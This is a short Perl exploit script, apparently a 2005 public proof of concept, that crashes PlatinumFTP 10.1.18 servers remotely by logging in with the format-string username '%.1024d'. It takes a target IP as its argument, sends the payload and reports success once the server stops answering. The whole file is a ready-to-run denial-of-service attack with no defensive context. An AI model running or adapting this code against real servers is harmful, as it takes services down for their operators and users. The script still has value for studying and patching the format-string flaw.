#!/usr/bin/perl
# plftpdos3.pl - Remote DoS against PlatinumFTP 10.1.18 using %.1024d
# as username
# 

# 2005/05/03
#
# ports at securityforest dot com | greetings to muts, barabas, s|33py,
# revised and all guys at www.whitehat.co.il


use strict;
use Net::FTP;

my $host;
my $username = '%.1024d';

if ($#ARGV < 0) { &syntax(); }
$host = @ARGV[0]; 

print "starting denial of service\n";

my $ftp = Net::FTP->new($host, Timeout => 2, Debug => 0, Port => 21) or die "can't find a server at ", $host, "\n";
$ftp->login($username);

my $ftp = Net::FTP->new($host, Timeout => 2, Debug => 0, Port => 21) or die "server is down. now run forest, RUN!\n";
print "denial of service wasn't successful\n";

sub syntax {
    print "\nUsage: pftpdos3.pl IP\n";
    exit (1);
    }